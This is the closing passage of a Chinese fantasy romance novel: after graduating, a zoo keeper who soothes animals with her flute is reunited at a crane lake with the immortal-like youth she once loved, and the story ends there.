“停停停,你这说的就是古画里的神仙吧。”于欢竹打断她,“跟你说正事呢,能不能靠谱点。”
赵玉屿怔了怔,旋即笑道:“是神仙,我啊,喜欢上了梦里的神仙。哎呀,长得真是太帅了,其他人也就入不了眼了。”
*
日子一晃而过,毕业之后赵玉屿入职了沿海的一家动物园。
这家动物园很大,老板也是真心爱护动物,下血本为小动物们提供良好的栖息环境,许多濒危动物在这里都能一年生三胎。
赵玉屿一开始是动物管理员,主要负责动物园的整体运营管理,平日里都很忙碌。但她坚持每天在各个园区转上一圈,看看动物们的
生活情况。
有一次两帮象群打群架,长面一度混乱,差点发生踩踏,好在她的笛声让大象心情平和,很快便平息了战事。
园长见她天赋异禀,就将她调到驯养师岗位,让她专门安抚动物情绪,防止有打架啊、霸凌啊、抑郁啊这些情况出现。
赵玉屿就从管理动物园,变成了专职管理动物。
下了班她就在家画设计图,这几年陆陆续续将给子桑做的衣服设计稿尽数画出发到了网上,有时候她也会画动物园里的动物,画风景画明星,但画的最多的,还是那个丰神俊秀的少年。
她的图也吸引了不少粉丝,成了十几万粉丝的网络小粉红。
但是赵玉屿现在倒也不在意数据、流量,她只是想将他们的过往画出来,记下来。
有些公司看中了她的设计稿,赵玉屿也乐意赚个外快。
看着时装秀上穿着她设计的衣服的模特,赵玉屿有时也会陷入恍惚。
但她自认为自己调节得很好。
毕竟日子怎么样都是要过的嘛,她不去想在她离开后子桑是如何生活。
或许他实现了愿望,去游历山川四海,踏遍大江南北。
或许他在途中遇到了另外一个姑娘。
或许他最终停留在某处,同喜欢的人成亲生子,圆满一生。
这样也好,这样很好。
这本就是她最开始希望的结局。
赵玉屿坐在湖边的石凳上,将小鱼干喂给飞来的白鹤,语重心长道。
“小白啊,你都吃成球了还吃,也不怕飞不起来。”
小白一如往常蹭了蹭她的脖子,探头从她身旁的桶中叼起最后一条小鱼干,仰头吞下。
赵玉屿叹了口气:“行了,下班了,明天再来看你们。”
她收拾好东西正要离开,忽然身后群鹤嘈乱,小白扑腾着羽翼朝池中飞去,和同伴们一起引颈高唳,在湖中低飞,盘旋共舞。
长风吹过湖面,夹杂着初夏的荷花香飘来微渺笛声。
赵玉屿心中一悸,转身望去。
在傍晚薄雾初起的湖心处,一只硕大的白鹤从天际徐徐飞来,划破水面,荡起阵阵涟漪。
它的背上站着一个清瘦的男人,修长身姿,额发微长,一双眉眼含春似水,笑着望向她。
仙鹤落在湖岸,收了羽翼垂颈以待。
赵玉屿怔怔看着那人跳下鹤背,站在她身前,他的手修长清峋,极是好看,手中的骨笛同她的那支分毫不差。
他缓缓道:“我有好好活下去,我去了大漠,去了冰原,去了荒林,去了塞北江南,看见了不同的人和风景。我学会了做饭,学会了骑马打猎,还学会了做发簪。我听你的话,没有屈服于任何人,遵循本心做了所有想做的事情。”
“而现在,我想来到你身边。”
【全文完】